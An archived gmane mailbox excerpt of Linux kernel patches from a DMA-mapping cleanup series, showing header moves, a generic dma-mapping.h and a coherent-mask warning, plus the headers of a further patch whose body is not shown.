 arch/s390/include/asm/dma-mapping.h | 2 --
 arch/s390/include/asm/pci_dma.h     | 3 +++
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index 2ec7240c1ada..bdc2455483f6 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -9,8 +9,6 @@
 #include <linux/dma-debug.h>
 #include <linux/io.h>
 
-extern const struct dma_map_ops s390_pci_dma_ops;
-
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &dma_noop_ops;
diff --git a/arch/s390/include/asm/pci_dma.h b/arch/s390/include/asm/pci_dma.h
index e8d9161fa17a..419fac7a62c0 100644
--- a/arch/s390/include/asm/pci_dma.h
+++ b/arch/s390/include/asm/pci_dma.h
@@ -201,4 +201,7 @@ void dma_cleanup_tables(unsigned long *);
 unsigned long *dma_walk_cpu_trans(unsigned long *rto, dma_addr_t dma_addr);
 void dma_update_cpu_trans(unsigned long *entry, void *page_addr, int flags);
 
+extern const struct dma_map_ops s390_pci_dma_ops;
+
+
 #endif
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 24/67] dma-mapping: provide a generic asm/dma-mapping.h
Date: Fri, 29 Dec 2017 09:18:28 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <20171229081911.2802-25-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535560 2358 195.159.176.226 (29 Dec 2017 08:19:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:20 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:19:14 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpsm-0008Nl-7J
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:19:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755980AbdL2IVM (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:12 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:53270 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932501AbdL2IVH (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:21:07 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=X9lV5gZVSFaehJusRePmbRyMMEAIYvW4yIoIjhiNNHw=; b=hVVezyvMjZqy5yY6WCSfTnWKl
        Fs78QbiFcAURc9T67vtpwdKNly09WwvkLbWMN0UNgiLJMrdp06S34pH8yRdw0qsuqzBWmeGMNzN5Y
        9Y94uCKPVQN3hAnAaxTAraYvvnSP4m6Ik6eb0ABVm1FO25Hj6wY8+DgAJQtckLCbm3nMIrAzrrC9L
        iVL19FgTh6GVpRVey9KKeWPD15H0A8tNL6oz7fMWZTLRJvUeZc1Y51jCWV++3ZWn2jrHXIdKzJOLk
        BZYjZvALd9B/zCC86R332pePEXvRTHNy/jj/7014V1zGKg7rDH1RM2VQub4fU4ZqY+FB4mOdt0CMP
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpua-0001f8-2I; Fri, 29 Dec 2017 08:21:04 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27062 gmane.linux.kernel.iommu:21899 gmane.linux.ports.alpha:4566 gmane.linux.kernel.arc:3187 gmane.linux.ports.arm.kernel:622912 gmane.linux.ports.hexagon:1419 gmane.linux.ports.ia64:28409 gmane.linux.kernel.metag:1493 gmane.linux.ports.mips.general:62942 gmane.linux.ports.parisc:28084 gmane.linux.ports.ppc64.devel:151516 gmane.linux.ports.sh.devel:56055 gmane.linux.kernel.cross-arch:40802 gmane.linux.kernel:2654229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27062>

For architectures that just use the generic dma_noop_ops we can provide
a generic version of dma-mapping.h.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 MAINTAINERS                          |  1 +
 arch/m32r/include/asm/Kbuild         |  1 +
 arch/m32r/include/asm/dma-mapping.h  | 17 -----------------
 arch/riscv/include/asm/Kbuild        |  1 +
 arch/riscv/include/asm/dma-mapping.h | 30 ------------------------------
 arch/s390/include/asm/Kbuild         |  1 +
 arch/s390/include/asm/dma-mapping.h  | 17 -----------------
 include/asm-generic/dma-mapping.h    | 10 ++++++++++
 8 files changed, 14 insertions(+), 64 deletions(-)
 delete mode 100644 arch/m32r/include/asm/dma-mapping.h
 delete mode 100644 arch/riscv/include/asm/dma-mapping.h
 delete mode 100644 arch/s390/include/asm/dma-mapping.h
 create mode 100644 include/asm-generic/dma-mapping.h

diff --git a/MAINTAINERS b/MAINTAINERS
index 7521b063b499..a8b35d9f41b2 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4340,6 +4340,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/asm-generic/dma-mapping.h
 F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
diff --git a/arch/m32r/include/asm/Kbuild b/arch/m32r/include/asm/Kbuild
index 7e11b125c35e..ca83fda8177b 100644
--- a/arch/m32r/include/asm/Kbuild
+++ b/arch/m32r/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += clkdev.h
 generic-y += current.h
+generic-y += dma-mapping.h
 generic-y += exec.h
 generic-y += extable.h
 generic-y += irq_work.h
diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
deleted file mode 100644
index 8967fb659691..000000000000
--- a/arch/m32r/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_M32R_DMA_MAPPING_H
-#define _ASM_M32R_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_M32R_DMA_MAPPING_H */
diff --git a/arch/riscv/include/asm/Kbuild b/arch/riscv/include/asm/Kbuild
index 970460a0b492..197460ccbf21 100644
--- a/arch/riscv/include/asm/Kbuild
+++ b/arch/riscv/include/asm/Kbuild
@@ -7,6 +7,7 @@ generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
deleted file mode 100644
index 73849e2cc761..000000000000
--- a/arch/riscv/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2003-2004 Hewlett-Packard Co
- *	David Mosberger-Tang <davidm@hpl.hp.com>
- * Copyright (C) 2012 ARM Ltd.
- * Copyright (C) 2016 SiFive, Inc.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-#ifndef __ASM_RISCV_DMA_MAPPING_H
-#define __ASM_RISCV_DMA_MAPPING_H
-
-/* Use ops->dma_mapping_error (if it exists) or assume success */
-// #undef DMA_ERROR_CODE
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif	/* __ASM_RISCV_DMA_MAPPING_H */
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index 048450869328..dade72be127b 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += cacheflush.h
 generic-y += clkdev.h
 generic-y += device.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += export.h
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
deleted file mode 100644
index bdc2455483f6..000000000000
--- a/arch/s390/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_S390_DMA_MAPPING_H
-#define _ASM_S390_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_S390_DMA_MAPPING_H */
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
new file mode 100644
index 000000000000..164031531d85
--- /dev/null
+++ b/include/asm-generic/dma-mapping.h
@@ -0,0 +1,10 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_GENERIC_DMA_MAPPING_H
+#define _ASM_GENERIC_DMA_MAPPING_H
+
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
+{
+	return &dma_noop_ops;
+}
+
+#endif /* _ASM_GENERIC_DMA_MAPPING_H */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 21/67] dma-mapping: warn when there is no coherent_dma_mask
Date: Fri, 29 Dec 2017 09:18:25 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20171229081911.2802-22-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535564 3417 195.159.176.226 (29 Dec 2017 08:19:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:24 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:18 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpsk-0008QU-86
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:19:10 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1FF4FAE0;
	Fri, 29 Dec 2017 08:21:00 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 4CD34891
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 0616F1DBFD
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=eg3FoMyX47+08LQfB+VADoF49XFCp9/mxmidhro7i7k=;
	b=d7qtnqlhDxSs/fjn4TyeuLNbB
	JZKYBXfjjhVEMqln+n4jo8XnWltIbS8+q/R3R9oKx+fo0VG/A1GrT6wMh5JRQSBLEy3q3xjwc4GBs
	CPBI1QFxVlTomTOW37gi0ShCOFh+5Gf+Rav93VIAyWL8Jszzbkjr5OToT67QwfhTKtYwgG1gMnI4H
	kwrh4+TD1blW+IjqabKMdRgE/Wxf7a3vWRad5hiZMnQrEWGovBVnUQY6ttvHpjGwh3P83kgG/RD8N
	HFX62BzWk+pLLtbkacZAGwsB75DB2iZ5Rup6e/s+mMYXS6CCtZDYByrwlcnO7nMgNeLd6XjN7R0G3
	bvb4pEXww==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpuM-0001M5-I6; Fri, 29 Dec 2017 08:20:51 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21900 gmane.linux.ports.mips.general:62943 gmane.linux.ports.ia64:28410 gmane.linux.ports.sh.devel:56056 gmane.linux.ports.sparc:27063 gmane.linux.kernel.cross-arch:40803 gmane.linux.ports.hexagon:1420 gmane.linux.kernel.arc:3188 gmane.linux.kernel.metag:1494 gmane.linux.ports.arm.kernel:622913 gmane.linux.ports.parisc:28085 gmane.linux.kernel:2654230 gmane.linux.ports.alpha:4567 gmane.linux.ports.ppc64.devel:151517
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21900>

These days all devices should have a DMA coherent mask, and most dma_ops
implementations rely on that fact.  But just to be sure add an assert to
ring the warning bell if that is not the case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 include/linux/dma-mapping.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index e77e2dec4723..2779d544485c 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -520,6 +520,7 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	void *cpu_addr;
 
 	BUG_ON(!ops);
+	WARN_ON_ONCE(!dev->coherent_dma_mask);
 
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 23/67] dma-mapping: add an arch_dma_supported hook
Date: Fri, 29 Dec 2017 09:18:27 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <20171229081911.2802-24-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535569 4241 195.159.176.226 (29 Dec 2017 08:19:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:29 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:24 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpss-0000Si-KU
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:19:19 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 856CB978;
	Fri, 29 Dec 2017 08:21:04 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 616FE910
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:03 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id EC8991DBFD
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:02 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=zmDn4rRLzu4rY+u+82f1qA7eXHfhDzWcnAZIfP+5dOc=;
	b=bMLlVErK2VDpnAdP7NJUQhVmu
	0aKkDztJzL5MDt/w1Nwn0BdK+5E+qlrJ/rX3TgHSN1lDXcGNqpb6cQ/Q15LoV1fJc9ogMitzCi/9p
	HdUz/pXFagpdQKxzjWTPgEKvUkI4KrgoE8tKp5LaRCoouBPZX9iKHQX+0WeX1BHqFqqNfG3S/HuF8
	beg1ZkHfG2VhT+nl4mE3ardyLHFrWTgMzUn8/iA1N+49uORIOX2HhGIO3ReH0Pz+f39kkX+y0xGNI
	HOqNxMWxdxbX1q3lIvcQBBzuEO1PMcdDrxSKPBG/n+qQs8gUJXkcTXJ66rQ9LRP+Ztxdz0n0dpO3L
	S+uUeSciQ==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpuV-0001Yu-Ot; Fri, 29 Dec 2017 08:21:00 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
